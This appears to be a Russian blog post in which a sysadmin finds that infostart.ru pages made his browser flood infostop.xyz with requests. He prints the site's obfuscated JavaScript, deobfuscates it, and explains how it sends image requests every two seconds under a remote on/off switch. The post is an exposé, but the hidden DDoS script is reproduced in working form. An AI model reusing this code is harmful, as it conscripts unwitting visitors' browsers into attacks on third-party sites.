[Из песочницы] Botnet от infostart или как использовать свою аудиторию
С чего все началось
Появилась производственная необходимость знать, кто из сотрудников в рабочее время какие ресурсы посещает. На шлюзе стоит Debian Linux, желания (да и времени) на эксперименты и изучение чего-то нового не было, поэтому выбор сразу пал на Squid. Настроил прозрачный режим по мануалу отсюда, за что автору отдельное спасибо.
Настроено и вроде бы работает, надо проверить. Смотрю журнал:
tail -f /var/log/squid/access.log
И вижу как мой IP ломится на неизвестный мне ресурс, вызывая у меня недоумение. Причем делает это с периодичностью 1–2сек:
1460094633.574 461 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094633.869 706 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.195 326 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.463 350 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.676 563 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
Решил не терять времени и попытаться выяснить, что собственно происходит…
netstat -nab
TCP Мой_IP:7955 104.168.174.157:80 ESTABLISHED
[opera.exe]
TCP Мой_IP:8714 104.168.174.157:80 ESTABLISHED
[opera.exe]
TCP Мой_IP:9152 104.168.174.157:80 ESTABLISHED
[opera.exe]
Как оказалось это мой браузер куда-то ломится.
Мой собственный браузер, занимается чьими-то чужими делами. И без меня
Когда я выяснил (методом перебора), что эти запросы уходят с закладок, на которых открыт infostart.ru, степень моего недоумения выросла как минимум вдвое. Серьёзный ресурс с огромным количеством посетителей использует свою аудиторию для таких низких целей — DDoS`ить неугодные ресурсы (что дальше? Подбирать пароли? Майнить bitcoin`ы?).
Найти часть кода, отвечающую за DDos-атаку не составило труда. Грузится он в отдельном фрейме по ссылке infostart.ru/bitrix/ajax/weather.php, вместе с информером погоды. Причем сам информер погоды я не нашел на сайте (наверно плохо искал).
Собственно код, надеюсь, владельцы ресурса не предъявят мне за нарушения авторских прав:
var getweather_check = false;var g00ee9a511d3c5913f80058b457b5bde0 = true;
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f=["\\r\\V\\v\\W\\j\\X","\\z\\U\\v\\T\\l\\F","\\H\\z\\j\\j\\r","\\Q\\v\\H\\j\\I\\l\\j\\t\\R\\S\\Y\\Z","\\s\\16\\t\\17","\\I\\r\\15","\\F\\l\\l\\t\\P\\s\\s"];i C(){q(14===10){h o=11(13,18,K,J,N,O);h B=o[m[f[2]](m[f[0]]()*o[f[1]])];h x=f[3];h y=f[4]+B;h A=E M();h L=m[f[2]](m[f[0]]()*1f);A[f[5]]=f[6]+x+y}}1l(i(p,a,c,k,e,d){e=i(c){n c.u(19)};q(!\'\'.D(/^/,1m)){G(c--){d[c.u(a)]=k[c]||c.u(a)}k=[i(e){n d[e]}];e=i(){n\'\\\\w+\'};c=1};G(c--){q(k[c]){p=p.D(E 1p(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}n p}(\'6 1=3.5("1");1.4="2",1.7="8-2",3.9("b")[0].a(1);\',12,12,\'|1g|1h|1e|1d|1a|h|1b|1c|1j|1i|1o\'.1q(\'|\'),0,{}));1n(C,1k);',62,89,'|||||||||||||||_0xd116||var|function|x6F||x74|Math|return|_0xb8e4x2||if|x72|x2F|x70|toString|x6E||_0xb8e4x4|_0xb8e4x5|x6C|_0xb8e4x6|_0xb8e4x3|getweather|replace|new|x68|while|x66|x73|2203|2219|_0xb8e4x7|Image|2178|2127|x3A|x69|x2E|x78|x67|x65|x61|x64|x6D|x79|x7A|true|Array||2264|getweather_check|x63|x3F|x3D|2252|36|createElement|content|no|name|document|1000|meta|referrer|appendChild|getElementsByTagName|2000|eval|String|setInterval|head|RegExp|split'.split('|'),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('a(2(){$.b(\'/9/1.8?\'+4 6().7(),2(3){d(3.h>0)1=e;f 1=g})},5*c*i);',19,19,'|getweather_check|function|data|new||Date|getTime|txt|dev|setInterval|get|60|if|true|else|false|length|1000'.split('|'),0,{}))
Использовать обфускацию кода, который выполняется функцией eval, по моему скромному мнению, было не самой хорошей идей. Заменяем eval на console.log, комбинируем Enter и Tab и получаем уже читаемый код (хотя лучше всего воспользоваться онлайн форматированием, например здесь):
var _0xd116 = ["\x72\x61\x6E\x64\x6F\x6D", "\x6C\x65\x6E\x67\x74\x68", "\x66\x6C\x6F\x6F\x72", "\x69\x6E\x66\x6F\x73\x74\x6F\x70\x2E\x78\x79\x7A", "\x2F\x3F\x70\x3D", "\x73\x72\x63", "\x68\x74\x74\x70\x3A\x2F\x2F"];
function getweather() {
if (getweather_check === true) {
var _0xb8e4x2 = Array(2264, 2252, 2219, 2203, 2178, 2127);
var _0xb8e4x3 = _0xb8e4x2[Math[_0xd116[2]](Math[_0xd116[0]]() * _0xb8e4x2[_0xd116[1]])];
var _0xb8e4x4 = _0xd116[3];
var _0xb8e4x5 = _0xd116[4] + _0xb8e4x3;
var _0xb8e4x6 = new Image();
var _0xb8e4x7 = Math[_0xd116[2]](Math[_0xd116[0]]() * 1000);
_0xb8e4x6[_0xd116[5]] = _0xd116[6] + _0xb8e4x4 + _0xb8e4x5
}
}
function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('6 1=3.5("1");1.4="2",1.7="8-2",3.9("b")[0].a(1);', 12, 12, '|meta|referrer|document|name|createElement|var|content|no|getElementsByTagName|appendChild|head'.split('|'), 0, {}));
setInterval(getweather, 2000);
Из вышенаписанного видно, что скрипт каждые 2 сек. добавляет тег img, а файл картинки предлагает взять с сайта infostop.xyz. Собственно, это вся суть реализации DDoS-атаки. В переменой _0xd116 хранятся настройки.
console.log(_0xd116)
["random", "length", "floor", "infostop.xyz", "/?p=", "src", "http://"]
Адрес жертвы, протокол, ключ GET-запроса (чтобы обойти кэширование) и параметры для алгоритмов. Что наводит на мысль, что это делалось не на один раз, а с далеко идущими планами. Уверен на 99%, что у этого механизма есть консоль управления.
Во вторая строка:
setInterval(function(){$.get('/dev/getweather_check.txt?'+new Date().getTime(),function(data){if(data.length>0)getweather_check=true;else getweather_check=false})},5*60*1000);
По ней видно, что каждые 5 минут отправляется GET-запрос /dev/getweather_check.txt. Ответ на который и управляет процессом на стороне клиента. Пока ответ возвращает хоть что-то — продолжать атаковать жертву.
У неавторизированных пользователей это не работает. В DDoS-атаке участвуют только авторизированные пользователи. Я не помню, чтобы соглашался с таким. Наверное, было мелким шрифтом.
Вместо заключения
В современном мире, с современными браузерами мы становимся все менее защищенными. Любой владелец сайта может легко использовать ресурсы устройств его посетителей в своих, возможно, не всегда чистых умыслах. В погоне за личной выгодой владельцы сайтов могут легко переступить через принципы.
На фоне новой волны уведомлять посетителя, что сайт будет использовать cookie, такое поведение infostart.ru заставляет задуматься.
Дисклеймер
Не имею отношения к владельцам обоих ресурсов. Просто меня не покидает неприятное чувство, что любой владелец крупного ресурса может использовать своих добросовестных посетителей в качестве инструмента для достижения своих корыстных целей, при этом переложив ответственность на последних.